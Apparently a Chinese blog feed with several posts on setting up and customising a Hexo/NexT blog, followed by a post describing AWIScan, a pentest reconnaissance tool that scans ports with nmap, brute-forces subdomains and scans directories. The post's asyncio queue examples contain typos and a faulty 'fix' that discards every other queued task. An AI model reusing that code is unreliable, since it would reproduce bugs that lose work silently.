在/hexo/themes/next/layout文件夹下打开_layout.swig文件，在前添加以下代码：

{% include '_custom/myapcontroler.swig' %}

侧边栏美化

在/hexo/themes/next/layout/_macro文件夹下打开sidebar.swig文件，找到以下代码行的位置：

<nav class="site-state motion-element">

在上面添加以下代码：

<!--my custom code begin-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/velocity/1.5.0/velocity.min.js"></script>
<script type="text/javascript">
  $("#sidebar").hover(function(){
    $("#mydivshow").velocity('stop').velocity({opacity: 1});
  },function(){
    $("#mydivshow").velocity('stop').velocity({opacity: 0});
  });
</script>
<div id="mydivshow" class="mydivshow">
<!--my custom code end-->

然后找到代码行：

</section>
{% if display_toc and toc(page.content).length > 1 %}
<!--noindex-->
<section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">

在此的上方添加一个，如下所示：

<!--my custom code begin-->
</div>
<!--my custom code end-->
</section>
{% if display_toc and toc(page.content).length > 1 %}
<!--noindex-->
  <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
    <div class="post-toc">

首页隐藏文章

修改next主题文件夹下的layout中的index.swig文件，将

post_template.render(post, true)

修改成:

{% if post.visible !=='hide' %}
    {{ post_template.render(post, true) }}
{% endif %}

在Front-matter添加visible字段即可，当visible字段为hide时会在首页隐藏文章。

visible: hide

版权透明度

在/hexo/themes/next/source/css/_custom文件夹下打开custom.styl文件，往里面添加以下代码:

// 版权样式设置
.post-copyright{
  background:rgba(241,241,241,0.1)
}

标签透明度

在/hexo/themes/next/source/css/_custom文件夹下打开custom.styl文件，往里面添加以下代码:

// 标签样式设置
.posts-expand .post-tags{
  a {
    background:rgba(241,241,241,0.1)
  }
}

总结

自己搞不定，资料查不出来的情况下，问问其他人有时候会有意想不到的效果；
CSS可以通过 !important来设置优先级；
nexT的样式建议不去修改源码，通过修改/hexo/themes/next/source/css/_custom/custom.styl文件即可；
根据最近的一顿操作，发现了hexo目录结构。特此记录，Ps：不建议修改源码样式，虽然我自己改了很多~~手动捂脸：

路径	文件名	作用
/hexo/themes/next/source/css/_custom	custom.styl	可用于自定义配置样式：.content、.sidebar、.header等
/hexo/themes/next/source/css/_common/components/highlight	highlight.styl	代码样式设置
/hexo/themes/next/layout	_layout.swig	主布局文件
/hexo/themes/next/layout	index.swig	首页布局文件
/hexo/themes/next/layout	···	XX布局文件
/hexo/themes/next/layout/partials	footer.swig	页脚布局（不确定）
/hexo/themes/next/layout/_custom	Null	存放自定义布局文件
/hexo/themes/next/layout/_macro	All	存放宏，用于博客生成

结语

这次美化没有完全彻底，可以看到还有一部分样式怪怪的。以后有时间，慢慢优化！！CSS太难了！！！太晚了，洗洗睡咯。

]]> 瞎折腾博客搭建博客博客配置 /archives/459ba203.html 　通过GitHub Page + Hexo(Next主题)搭建好博客之后，需要对**站点配置文件、主题配置文件**进行自定义配置。本篇文章对一些常用或需要自定义的配置进行描述。

站点配置

　**站点配置文件**为全局配置文件，影响整个站点。文件路径:\根目录\_config.yml。

基础配置

　站点基础配置包括标题、副标题、描述、作者、站点语言、URL设置等。通过对基础配置进行修改，就可以完成大部分的”轻度折腾”。

标题

　标题会影响整站的标题，并且会在显示页面上。

title: 站点标题

副标题

　副标题位于在主标题下，在Next主题中会被隐藏，需要通过修改\根目录\themes\next\source\css\_schemes\Mist\_logo.styl的.site-subtitile字段的display值或者在.site-subtitle前面加#进行注释。

subtitle: 站点副标题

描述

　描述位于站点概览中，用最”简单”的语言描述一下最棒的自己。

description: 最简单的语言

作者

　作者位于站点概览、版本声明等位置，留下自己的大名，让自己”声名远扬”吧！

author: 最棒的自己

站点语言

　站点语言会影响整个站点的显示语言。支持简中、繁中、英文等。

language: zh-Hans

|语言　　　|对应值　　　|
|English　|en　　　　　|
|简体中文　|zh-Hans　　 | 
|法语　　　|fr-FR　　　 ｜
|繁体中文　|zh-hk/zh-tw｜
|俄语　　　|ru　　　　　｜
|德语　　　|de　　　　　｜
|葡萄牙语　|pt　　　　　｜
|日语　　　|ja　　　　　｜

URL设置

　URL设置包括url、enforce_ssl、root、permalink、permalink_default等字段。其中url字段设置为博客域名。根据博客所处目录设置root，如果为子目录，root需要进行对应修改。其余字段可保持不变。

url: 你的域名
root: 站点所处目录

其他配置

分页设置

　分页设置主要修改per_page字段，可以对主页、档案、标签等进行每页显示文章数设置。

index_generator:
  path: ''
  per_page: 5
  order_by: -date
archive_generator:
  per_page: 20
  yearly: true
  monthly: true
tag_generator:
  per_page: 10
per_page: 10

RSS

　RSS位于站点概览中，可以通过安装插件来完成，安装hexo-generator-feed。

npm install hexo-generator-feed  --save

　安装插件之后，通过配置plugin字段加载插件。

plugin: 
- hexo-generator-feed

　对feed字段进行配置，如果不存在，则新建feed字段。

feed:
  type: atom
  path: atom.xml
  limit: 10
  hub:
  content:

主题设置

　下载喜欢的主题，通过修改theme字段进行更换主题。**Next主题下载，也可以在hexo提供的主题下载页面**寻找喜欢的主题。

theme: next

主题配置

　这里介绍Next的主题配置，**主题配置文件**文件路径:\根目录\themes\next\_config.yml。

站标

　站标位于标签页左边,路径指向source目录下。建议ico大小为32x32。**在线制作链接**。

favicon: /iamges/favicon.ico

社交

　社交位于站点概览，可以添加GitHub、知乎、微博、豆瓣等社交链接。

social:
  GitHub: https://github.com/hywell

　社交ico可以在**图标库**中查找，通过配置social_icons字段进行定义。

social_icons: 
  enable: true
  GitHub: github

打赏

　打赏位于每篇文章底部，可以添加微信、支付宝二维码，并设置感谢语。

reward_comment: 感谢语
wechatpay: /images/wechatpay.jpg
alipay: /images/alipay.jpg

友链

　友情链接位于站点概览，可以设置links标题、友链名称、友链链接等。

links_title: 友情链接
links:
  GitHub: https://github.com

微信二维码

　微信二维码位于每篇文章底部。有朋自远方来，不亦乐乎！

wechat_subscriber:
  enabled: true
  qcode: /images/wechat.jpg
  description: 有朋自远方来,不亦乐乎！

版权

post_copyright:
  enable: true
  license: CC BY-NC-SA 3.0
  license_url: https://creativecommons.org/licenses/by-nc-sa/3.0/

post copyright.png

结尾

　通过对以上参数进行配置，相信现在的博客已经开始呈现出一丝丝的与众不同了吧。
　生命在于折腾，折腾了博客搭建、折腾了博客配置，接下来开始折腾博客美化了。

]]> 瞎折腾博客搭建博客 Blog更新&配置文件详解 /archives/d6a90b9.html 最近博客的CSS被我玩坏了，顺带就对博客进行整体更新，并且对hexo、nexT的配置文件进行详细的记录。
Ps：每篇文章还弄了摘要格式！好累~~下一篇会写nexT主题的自定义优化。

由于使用hexo-neat插件压缩有问题，然后改用gulp进行压缩。发现来来回回都会有问题，并且提交到GitHub上之后，导致博客的CSS都出问题无法显示。发现nexT主题更新到6.0+，在GitHub上面的路径也换了，最终决定重新搭建博客。

准备

软件、环境这些可以参考博客搭建这篇文章搭建博客。
使用hexo init本地新建一个博客之后，下载最新的next主题。

$ cd hexo
$ git clone https://github.com/theme-next/hexo-theme-next themes/next

配置

以前写的文章对Hexo、nexT的配置文件没有进行详细的说明，这次搭建的时候发现有点头痛！因此，这次准备把所用到的各个字段都进行记录，便于以后出现意外情况再次重建。

Hexo配置

Hexo的配置为hexo根目录下的_config.yml文件。

Site配置

用于配置站点的主要属性。

# Site
title: #站点主标题
subtitle: #站点副标题
description: #站点描述
author: #站点作者
language: #站点语言
timezone: #站点时区

Url配置

用于配置Url请求时的主要属性。
Url这块我进行了优化，安装了hexo-abbrlink插件：让文章链接唯一化。在hexo根目录下执行$ npm install hexo-abbrlink --save

# URL
## If your site is put in a subdirectory, set url as 'http://yoursite.com/child' and root as '/child/'
url: #站点url
enforce_ssl: #强制使用ssl
root: #站点目录
permalink: archives/:abbrlink.html #站点链接设置
abbrlink: #abbrlink设置
  alg: crc32  # 算法：crc16(default) and crc32
  rep: hex    # 进制：dec(default) and hex
  ## crc16 & hex
  ##  https://iassas.com/posts/66c8.html
  ## crc16 & dec
  ##  https://iassas.com/posts/65535.html
  ## crc32 & hex
  ##  https://iassas.com/posts/8ddf18fb.html
  ## crc32 & dec
  ##  https://iassas.com/posts/1690090958.html
permalink_defaults:

Directory配置

用于配置站点目录的主要属性。该部分的配置不需要修改。

# Directory
source_dir: source        #资源文件夹，这个文件夹用来存放内容
public_dir: public        #公共文件夹，这个文件夹用于存放生成的站点文件
tag_dir: tags             #标签文件夹
archive_dir: archives     #归档文件夹
category_dir: categories  #分类文件夹
code_dir: downloads/code  #Include code 文件夹
i18n_dir: :lang           #国际化（i18n）文件夹
skip_render:              #跳过指定文件的渲染，您可使用 glob 表达式来匹配路径

Writing配置

用于配置写作时的主要属性。该部分的配置不需要修改。

# Writing
new_post_name: :title.md                #新文章的文件名称
default_layout: post                    #预设布局
titlecase: false                        #把标题转换为 title case
external_link: true                     #在新标签中打开链接
filename_case: 0                        #把文件名称转换为 (1) 小写或 (2) 大写
render_drafts: false                    #显示草稿
post_asset_folder: false                #启动 Asset 文件夹
relative_link: false                    #把链接改为与根目录的相对位址
future: true                            #显示未来的文章
highlight:                              #代码块的设置
  enable: true
  line_number: true
  auto_detect: true
  tab_replace:

Home page配置

用于配置主页的主要属性。

# Home page setting
# path: Root path for your blogs index page. (default = '')
# per_page: Posts displayed per page. (0 = disable pagination)
# order_by: Posts order. (Order by date descending by default)
index_generator: #主页索引
  path: ''
  per_page: 5
  order_by: -date

archive_generator: #档案索引
  per_page: 20
  yearly: true
  monthly: true

tag_generator: #标签索引
  per_page: 10

Category & Tag配置

用于配置分类、标签的主要属性。

# Category & Tag
default_category: uncategorized      #默认分类
category_map:                        #分类别名
tag_map:                             #标签别名

Date配置

用于配置日期的主要属性。该部分的配置不需要修改。

# Date / Time format
## Hexo uses Moment.js to parse and display date
## You can customize the date format as defined in
## http://momentjs.com/docs/#/displaying/format/
date_format: YYYY-MM-DD       #日期格式
time_format: HH:mm:ss         #时间格式

Pagination配置

用于配置分页的主要属性。

# Pagination
## Set per_page to 0 to disable pagination
per_page: 10                   #每页显示的文章量 (0 = 关闭分页功能)
pagination_dir: page           #分页目录

Extensions配置

用于扩展的主要属性。
plugin我加了hexo-generator-feed（用来生成RSS），theme我选择用next。

# Extensions
## Plugins: https://hexo.io/plugins/
## Themes: https://hexo.io/themes/
plugin: 
  - hexo-generator-feed
theme: next

Deployment配置

用于配置部署的主要属性。
我就选择部署到GitHub，还支持Heroku、Rsync、OpenShift、FTPSync等。可以参考官网说明。
部署到GitHub需要安装hexo-deployer-git插件，在hexo根目录下执行$ npm install hexo-deployer-git --save。

# Deployment
## Docs: https://hexo.io/docs/deployment.html
deploy:
  type: git
  repo: https://github.com/youname/youname.github.io.git
  branch: master

search配置

用于配置搜索的主要属性。
启用搜索需要安装hexo-generator-search、hexo-generator-searchdb插件，在hexo根目录下执行

$ npm install hexo-generator-search --save
$ npm install hexo-generator-searchdb --save

安装完之后还需要在nexT主题里面进行配置。后续会说到如何配置，稳住。

search:
  path: search.xml
  field: post
  format: html
  limit: 10000

feed配置

用于配置RSS。
RSS和ATOM的区别，可以参考这里。

feed:
  type: atom        #atom/rss2
  path: atom.xml    #feed路径
  limit: 10         #最大帖子数
  hub:           
  content:          #true/false 是否将整个页面包含进去

hexo-neat配置

用于博客压缩，加快访问速度。
启用压缩需要安装hexo-neat，在hexo根目录下执行$ npm install hexo-neat --save

# hexo-neat 静态资源压缩
neat_enable: true 
neat_html:
  enable: true
  exclude: 
neat_css:
  enable: false
  exclude:
    - '*.min.css'
neat_js:
  enable: true
  mangle: true
  output:
  compress:
  exclude:
    - '*.min.js'

hexo-encypt配置

用于文章加密。
启用文章加密需要安装hexo-blog-encrypt，在hexo根目录下执行$ npm install hexo-blog-encrypt --save

# 文章加密功能
encrypt:
  enable: true

启用加密功能需要在文章的Front-matter部分添加password字段即可。建议修改post.md模版，目录为hexo\scaffolds\。

---
title: {{ title }}
date: {{ date }}
tags: 
categories: 
password:          #文章密码
abstract:          #文章摘要
message:           #密码提示
---

hexo-autonofollowp配置

用于外部链接优化，主要作用：

防止不可信的内容，最常见的是博客上的垃圾留言与评论中为了获取外链的垃圾链接，为了防止页面指向一些拉圾页面和站点。
付费链接：为了防止付费链接影响Google的搜索结果排名，Google建议使用nofollow属性。
引导爬虫抓取有效的页面：避免爬虫抓取一些无意义的页面，影响爬虫抓取的效率。
其主要方法是给所有外部链接加上rel=”external nofollow”属性，对外部链接target=”_blank”采用在新窗口种打开外部链接的方法。
启用该功能需要安装hexo-autonofollowp，在hexo根目录下执行$ npm install hexo-autonofollowp --save
# 外部链接优化
nofollow:
enable: true
exclude: # 例外的链接，可将友情链接放置此处
- 'yousite'

sitemap配置

用于站点地图配置，主要用于SEO优化。
启用该功能需要安装hexo-generator-sitemap、hexo-generator-baidu-sitemap，在hexo根目录下执行

$ npm install hexo-generator-sitemap --save
$ npm install hexo-generator-baidu-sitemap --save

配置如下

# hexo sitemap
sitemap:
  path: sitemap.xml
baidusitemap:
  path: baidusitemap.xml

symblos_count_time配置

用于站点字数、阅读时间统计等。
启用该功能需要安装hexo-symbols-count-time，在hexo根目录和next主题目录下执行$ npm install hexo-symbols-count-time --save。**注意这里我是两个地方都执行**。

symbols_count_time:
  symbols: true
  time: true
  total_symbols: true
  total_time: true

live2d配置

用于站点’吉祥物’设置，作用应该是美化站点吧。手动/斜眼笑！
想要吉祥物的话需要先安装hexo-helper-live2d，在hexo根目录下执行$ npm install hexo-helper-live2d --save。接下来修改next主题目录的_layout.swig文件，路径为hexo\themes\next\layout\。在合适的地方给它安个家，要在body标签之间，例如

<body>{{ live2d() }}</body>

也可以看看喜欢什么吉祥物。

live2d:
  model: z16
  bottom: -30
  mobileShow: true
  mobileScaling: 0.5

lazyload配置

用于图片快速加载设置。
启用该功能需要安装hexo-lazyload-image，在hexo根目录在执行$ npm install hexo-lazyload-image --save

lazyload:
  enable: true 
  onlypost: false
  loadingImg: # eg. ./images/loading.png

nexT配置

nexT的配置文件为next目录下的_config.yml文件，路径为hexo\themes\next_config.yml。由于nexT的配置较多，就记录修改或者启用的地方。配置文件中所填写的目录路径皆为/source目录下，例如修改图标来源将参数值设置成/images/favicon.ico的话，表示来源为hexo\themes\next\source\images\favicon.ico。

favicon设置

用于图标设置，效果显示在站点标签页的地方。

favicon:
  small: /images/favicon-16x16-next.ico
  medium: /images/favicon-32x32-next.ico
  apple_touch_icon: /images/apple-touch-icon-next.png
  #safari_pinned_tab: /images/logo.svg
  #android_manifest: /images/manifest.json
  #ms_browserconfig: /images/browserconfig.xml

keyword设置

用于关键字设置。

keywords: "keyword1, keyword2, keyword3"

rss设置

用于rss设置，结合hexo中的设置。

rss: /atom.xml

用于页脚设置，nexT6.0可以在配置文件中设置页脚。以前用5.X的时候，需要自己手工去修改。所以及时更新很重要哦。

footer:
  # Specify the date when the site was setup.
  # If not defined, current year will be used.
  since: #网站建立日期

  # Icon between year and copyright info.
  icon: heart #年份和版权之间的图标

  # If not defined, will be used `author` from Hexo main config.
  copyright: Hywell #版权
  # -------------------------------------------------------------
  # Hexo link (Powered by Hexo).
  powered: false

  theme:
    # Theme & scheme info link (Theme - NexT.scheme).
    enable: false
    # Version info of NexT after scheme info (vX.X.X).
    version: false
  # -------------------------------------------------------------
  # Any custom text can be defined here.
  custom_text: #输入自定义文本

SEO设置

用于seo优化设置。

canonical: true
seo: true
index_with_subtitle: true

用于导航栏设置。这里的顺序会影响导航栏上显示布局的顺序。

menu:
  home: / || home
  categories: /categories/ || th
  archives: /archives/ || archive
  tags: /tags/ || tags
  about: /about/ || user

menu_settings:
  icons: true
  badges: false #设置为true会显示具体的数值

Schemes设置

用于样式设置。我采用了Mist样式。

scheme: Mist

用于侧边栏设置。

site_state: true #显示文章、分类、标签

social: #友情链接设置 Key: permalink || icon
  GitHub: https://github.com/hywell || github

social_icons: #社交图标
  enable: true
  icons_only: false
  transition: true
github_banner: https://github.com/hywell || Follow me on GitHub # 用于设置右上角GitHub横幅。

# 友情链接设置
links_icon: link
links_title: 友情链接
links_layout: block
#links_layout: inline
links:
  keyword: link

# 侧边栏头像设置
avatar: /images/avatar.png

# 侧边栏目录显示
toc:
  enable: true
  number: true
  wrap: true

# 侧边栏设置
sidebar:
  position: left       #位置
  display: post        #显示设置
  scrollpercent: true  #滚动百分比
  onmobile: true       #窄视图启用侧边栏

POST设置

用于发布设置。

scroll_to_more: true      #如果文章有摘要（<!-- more -->），会自动滚动到摘要下面。
save_scroll: true         #通过cookies来缓存阅读进度
excerpt_description: true #自动摘录描述作为序言
auto_excerpt:   #自动摘录，如果不设置<!-- more -->的话，可以用这个来控制
  enable: true
  length: 150

post_meta:            #发布元设置
  item_text: true
  created_at: true
  updated_at: true
  categories: true

symbols_count_time:   #字数与阅读时间统计设置 需安装hexo-symbols-count-time
  separated_meta: true
  item_text_post: true
  item_text_total: true
  awl: 25
  wpm: 50

# Wechat Subscriber           #微信二维码设置
wechat_subscriber:
  enabled: true
  qcode: /images/Wechat.jpg
  description: 描述文字

# Reward                      #打赏设置
reward_comment: 打赏comment
wechatpay: /images/wechatpay.jpg
alipay: /images/alipay.jpg
#bitcoin: /images/bitcoin.png

# Declare license on posts    #文章license设置
post_copyright:
  enable: true
  license: CC BY-NC-SA 3.0
  license_url: https://creativecommons.org/licenses/by-nc-sa/3.0/

Code Highlight theme设置

用于代码主题设置。

highlight_theme: normal

needmoreshare2设置

用于分享设置。

needmoreshare2:
  enable: true
  postbottom:     #文章分享
    enable: true
    options:
      iconStyle: box
      boxForm: horizontal
      position: bottomCenter
      networks: Weibo,Wechat,Douban,QQZone,Twitter,Facebook,Evernote
  float:         #浮动分享
    enable: false
    options:
      iconStyle: box
      boxForm: horizontal
      position: middleRight
      networks: Weibo,Wechat,Douban,QQZone,Twitter,Facebook

Local search设置

用于本地搜索，需要安装hexo-generator-searchdb。

local_search:
  enable: true
  # if auto, trigger search by changing input
  # if manual, trigger search by pressing enter key or search button
  trigger: auto
  # show top n results per article, show all results by setting to -1
  top_n_per_article: 1

Reading progress bar设置

用于阅读进度设置，在top显示，需要扩展theme-next-reading-progress。

reading_progress:
  enable: true
  color: "#37c6c0"
  height: 2px

pace设置

用于页面加载进度设置，我选用了pace-theme-loading-bar，需要扩展theme-next-pace。
推荐几个我个人感觉不错的：

pace-theme-center-atom
pace-theme-center-circle
pace-theme-center-simple

pace-theme-loading-bar

pace: true
pace_theme: pace-theme-loading-bar

Canvas-nest设置

用于网页背景效果设置。

canvas_nest: true

Gitment设置

用于页面评论系统设置，本来选用Hypercomments，在样式上设置不好看。因此，换成了Gitment。需要扩展Gitmentnpm i --save gitment。

gitment:
  enable: true
  mint: true # RECOMMEND, A mint on Gitment, to support count, language and proxy_gateway
  count: true # Show comments count in post meta area
  lazy: true # Comments lazy loading with a button
  cleanly: false # Hide 'Powered by ...' on footer, and more
  language: # Force language, or auto switch by theme
  github_user: user # MUST HAVE, Your Github Username
  github_repo: user.github.io # MUST HAVE, The name of the repo you use to store Gitment comments
  client_id:  # MUST HAVE, Github client id for the Gitment
  client_secret:  # EITHER this or proxy_gateway, Github access secret token for the Gitment
  proxy_gateway: # Address of api proxy, See: https://github.com/aimingoo/intersect
  redirect_protocol: # Protocol of redirect_uri with force_redirect_protocol when mint enabled

总结

两个配置文件弄得我满脸懵逼！！太难了~~

配置文件字段名和字段值中间需要空格;
部分插件安装、配置Hexo、nexT都需进行；
文章中存在特殊符号，需要使用三个单引号以代码形式，不然会报错；
所有配置文件icon都可以在fontawesome选择心仪的，替换即可；

]]> 瞎折腾博客搭建博客搭建博客 /archives/5c83b0d3.html 　第一次搭建博客，一开始选用GitHub Page + jekyll 从网上找了许多模板，也自己去尝试写，发现总是不如人意。后来，改用GitHub Page + Hexo,套用Next主题满足了折腾的”愿望”。

准备

Hexo

　安装Hexo需要先安装Nodejs、Git。

安装Git

　从Git官网下载对应系统版本进行安装**Download**。我是Windows系统，因此下载Windows版本。

　打开终端，输入

git --version

git version.png
　查看对应版本，如果成功输出版本信息代表完成安装。

安装Nodejs

　从Nodejs官网下载对应系统版本安装**Download**。我是Windows系统，因此下载Windows版本。

　打开终端，输入

npm -v

npm version.png
查看对应版本，如果成功输出版本信息代表完成安装。

安装hexo

　以管理员权限打开终端，进入对应目录（以E:\hexo为例）输入

E:\hexo>npm install -g hexo

npm install hexo.png
　安装途中出现会可能WARN不用担心。

域名（可选）

　GitHub Page可以通过配置，让其可通过自定义域名进行访问（例如通过iassas.com即可访问我的博客）。
　建议通过**GoDaddy**申请，输入心仪的域名点击搜索域名。如果域名未被注册，将其添加到购物车。进入购物车进行付款。付款途中根据需要，添加增值服务。

DNS解析（可选）

　为了让博客更好、更快地访问就需要配置DNS。
　建议通过**DNSPOD**申请，免费注册一个账户之后进入个人管理界面。
　选择左边菜单栏的[域名解析]，添加一个域名，输入自己的域名（例如iassas.com），点击确定。

　点击iassas.com进行配置，点击添加记录，共添加三条记录，添加以下信息进行保存即可。下述第三条www记录中的记录值需要输入对应的github.io（如果没有，请看下一小节）。

| 主机记录 |记录类型 |线路类型 |  记  录  值   |
| @       | A      |默认    |192.30.252.153 |
| @       | A      |默认    |192.30.252.154 |
| www     | CNAME  |默认    |user.github.io |

　修改域名服务器，以GoDaddy结合DNSPOD为例。
　登陆**GoDaddy**，点击我的产品。选择对应的域名，点击DNS。
GoDaddy DNS.png
　在域名服务器项中，使用自定义域名服务器。配置如下

|  域  名  服  务  器  |
|f1g1ns1.dnspod.net   |
|f1g1ns2.dnspod.net   |

GitHub Page

　GitHub Page需要先注册一个GitHub账号**GitHub**。
　进入个人主页（例如https://github.com/hywell，是我的主页），点击右上角+号，点击New repository新建库。

　库名需要以账号名.github.io命名（例如hywell.github.io)，权限选择Public。点击下方Create repository建立库。
github.io.png

建站

创建博客

　打开终端，输入

E:\hexo>hexo init blog
E:\hexo>npm install

　成功创建一个站点。
　进入站点目录，输入清理、编译、本地运行:

E:\hexo\blog>hexo clean
E:\hexo\blog>hexo g
E:\hexo\blog>hexo s

　这时候就可以通过浏览器访问127.0.0.1:4000，见证效果了！

更换主题（可选）

　本博客套用Next主题，也可自行下载别的主题。打开终端，输入

E:\hexo\blog>git clone https://github.com/iissnan/hexo-theme-next themes/next

博客配置

　博客配置文件有**站点配置文件、主题配置文件。站点配置文件为博客根目录下的_config.yml文件(E:\hexo\blog\_config.yml)，主题配置文件**为\themes\主题_config.yml文件(E:\hexo\blog\themes\next\_config.yml)。
　需要注意的是在修改配置时，配置值前面需要加一个空格。以配置名: 配置值 的形式，例如：title: blog。
　这里简要的介绍一些配置。

站点配置

　修改主题，通过修改**站点配置文件的theme字段，将其修改成对应的值 theme: next。
　修改站点标题，通过修改站点配置文件的title字段，将其修改成对应的值 title: Blog。
　修改站点语言，通过修改站点配置文件的language字段，将其修改成对应的值language: zh-Hans。
　修改时区，通过修改站点配置文件**的timezone字段，将其修改成对应的值timezone: Asia/Shanghai。

主题配置

　修改图标，通过修改**主题配置文件的favicon字段，将其修改成对应的值favicon: /images/favicon.ico。
　这里的路径为/themes/next/source/images/favicon.ico，如果没有对应文件，则需要新建。
　修改头像，通过修改主题配置文件**的avatar，将其修改成对应的值avatar: /upload/avatar.png。这里的路径为/themes/next/source/upload/avatar.png，如果没有对应文件，则需要新建。

部署

GitHub部署

　使用GitBash(\Git\git-bash.exe)配置身份信息，在GitBash中输入

git config --global user.name "yourname"
git config --global user.email "youremail"
ssh-keygen -t rsa -C "youremail"

　在用户目录下找到.ssh文件夹(C:\user\youname.ssh)，将id_rsa.pub中的密钥复制到**GitHub-Setting-Key中。
　点击New SSH key，添加一个新的SSH key：输入任意title、将id_rsa.pub内容粘贴到Key中，最后点击 Add SSH key。

　登录GitHub**。对刚刚新建的库（账号名.github.io）进行设置。
　　 github setting.png
　将Custom domain设置为从GoDaddy申请的域名。
　　 github custom domaain.png

站点部署

　配置**站点配置文件**的Deployment字段，将其修改。

deploy:
  type: git
  repo: git@github.com:yourname/yourname.github.io.git
  branch: master

　如果出现**Deployer not found**，请输入

E:\hexo\blog\npm install hexo-deployer-git --save

　上传blog。

E:\hexo\blog\hexo clean
E:\hexo\blog\hexo g
E:\hexo\blog\hexo d

完成

　这时候通过账户名.github.io 或者申请的域名即可访问你的博客了！！

]]> 瞎折腾博客搭建博客 AWIScan编写之路 /archives/84cd09d9.html 红队评估、渗透测试等安全工作最为重要的就是信息收集，信息收集工作需要对目标多方面、多维度进行收集、梳理。相信大家也用过许多信息收集的工具，例如：nmap、msscan、subdomainBrute、whatweb、dirscan、dirsearch、wydomain等等。当对一个目标群体（多ip段 or 多域名）进行信息收集时，往往需要不断在各个工具之间来回切换。通过寻找发现了一款工具：FuzzScaner，该工具整合了子域名、端口、指纹、c段等信息收集。但FuzzScaner存在几点问题：1.长期不维护&更新，上次提交为2019.04；2.使用python2，python2马上不被官方支持；3.只做了简单整合，多工具调度之间容易出问题。因此，自己动手造了一个轮子：AWIScan——All Web Info Scan。

功能构思

根据上面所述，新开发的工具需要具备如下特性：

尽可能快的完成任务
尽可能多的收集信息
尽可能少的参数输入
最好支持插件或模块拓展

根据上述特性，采用了

Python3 asyncio协程
支持端口扫描（调用nmap）、子域名爆破、目录爆破
总共三个参数，可直接使用单个参数即可执行任务，其中level参数可不输入，默认为1
需要修改的配置信息都在setting.py文件中

框架流程

这里借鉴了许多项目：SQLMap、PocSuite3、subdomainBrute、Dirscmap、Dirsearch、FuzzScaner等等。最终结构如下

.
├── AWIScan.py
├── README.md
├── data
│   ├── subDomain
│   │   ├── dns_server.txt
│   │   ├── next_sub_full.txt
│   │   └── subnames_full.txt
│   └── webScan
│       ├── dict.txt
│       └── user-agents.txt
├── lib
│   ├── __init__.py
│   ├── controller
│   │   ├── aiodirscan.py
│   │   ├── aionmap.py
│   │   ├── aioportscan.py
│   │   ├── aiosubdomainscan.py
│   │   └── engine.py
│   ├── core
│   │   ├── common.py
│   │   ├── convert.py
│   │   ├── data.py
│   │   ├── datatype.py
│   │   ├── enums.py
│   │   ├── log.py
│   │   ├── options.py
│   │   └── setting.py
│   ├── parse
│   │   ├── cmdline.py
│   │   ├── ip.py
│   │   ├── result.py
│   │   └── url.py
│   └── thirdparty
│       ├── __init__.py
│       ├── ansistrm
│       │   ├── __init__.py
│       │   └── ansistrm.py
│       ├── colorama
│       │   ├── __init__.py
│       │   ├── ansi.py
│       │   ├── ansitowin32.py
│       │   ├── initialise.py
│       │   ├── win32.py
│       │   └── winterm.py
│       └── termcolor
│           └── termcolor.py
├── output
│   ├── AWIScan
│   │   └── bad_dns_servers.txt
│   └── result
└── requirement.txt

流程为：参数解析——配置注册——任务分配——开始工作——输出结果。

使用说明

初始目标支持以下几种格式：

192.168.1.1
192.168.1.1/24
192.168.1.1-192.168.1.100
192.168.1.1-254
domain.com
[http/https]://domain.com

~~现版本根据不同的输入目标会执行相应的功能：~~

~~纯ip地址执行端口扫描，e x 192.168.1.1…~~
~~域名会执行子域名爆破，e x domain.com~~
~~url会执行目录扫描，e x http://domain.com or https://domain.com~~

所有初始目标都会执行端口扫描，如果没有协议会再执行子域名爆破、如果还有协议会再加上目录扫描。

~~该版本只在OSX、python3.7下测试过，别的系统版本可以自己试试（估计问题不大）。~~

Windows（10）、linux（Debian）、MacOS（10.15） && python3.7皆测试通过。

由于端口扫描是调用nmap的，本地机器需要安装nmap，并且执行脚本需要有对应权限，可在lib/core/setting.py中配置SUDO_PASSWORD。具体端口扫描速度并未进行测试。

子域名爆破需要指定对应DNS服务器，整体速度子域名爆破一千三百多个，最快一次是三十多秒（估计有dns缓存的原因）。清理缓存，再次测试七分钟左右（协程数50）。

目录扫描由于设计到网络、防护等关系，未进行测试。

问题难点

在编写的时候遇到种种问题和难点：

协程库的资料相对较少
许多库在调用中会出现千奇百怪的问题
慢速生产、快速消费模型，如何保持消费者数不减少

针对第三个模型做一下记录：下面代码有可能导致最后只有一个协程在工作，但任务队列中还具备无数任务

import asyncio


async def parse(target_queue, html):
  urls = await asyncio.sleep("5") # 用来模拟页面解析
  for url in urls:
    target_queue.put_notwait(url)


async def work(url):
  resp = await asyncio.sleep("5") # 用来模拟网络请求
  if resp.status == 200:
    return resp.text


async def scan(target_queue):
  while target_queue.qsize() > 0:
    target = target_queue.get_nowait()
    html = work(target)
    result = await parse(target_queue, html)


async def control(base_url):
  tasks = []
	target_queue = asyncio.Queue()
  base_urls = await asyncio.sleep("5") # 用来模拟初始url解析
  for url in base_urls:
    target_queue.put_notwait(url)
  for i in range(0, 50):
    tasks.append(asyncio.create_task(scan(target_queue)))
  await asyncio.gather(*tasks)


asyncio.run(contronl(base_url))

后面在主协程中同归队列进行阻塞，子协程阻塞至任务获取，即可解决该问题。即所有子协程都不断运行，直至取不到任务时阻塞。

import asyncio


async def parse(target_queue, html):
  urls = await asyncio.sleep("5") # 用来模拟页面解析
  if urls:
    for url in urls:
      target_queue.put_notwait(url)


async def work(url):
  resp = await asyncio.sleep("5") # 用来模拟网络请求
  if resp.status == 200:
    return resp.text


async def scan(target_queue):
  while True:
    await target_queue.get()
    target = target_queue.get_nowait()
    html = work(target)
    result = await parse(target_queue, html)
    target_queue.task_done()


async def control(base_url):
  tasks = []
	target_queue = asyncio.Queue()
  base_urls = await asyncio.sleep("5") # 用来模拟初始url解析
  for url in base_urls:
    target_queue.put_notwait(url)
  for i in range(0, 50):
    tasks.append(asyncio.create_task(scan(target_queue)))
  await target_queue.join()


asyncio.run(contronl(base_url))

下面再记录一下小问题

通过asyncio.queue设置队列最好在对应协程函数中建立：一开始将工作队列设置成全局，然后在各个文件进行加载，该方式会导致异常，大概含义是一个loop只能使用同一个队列。
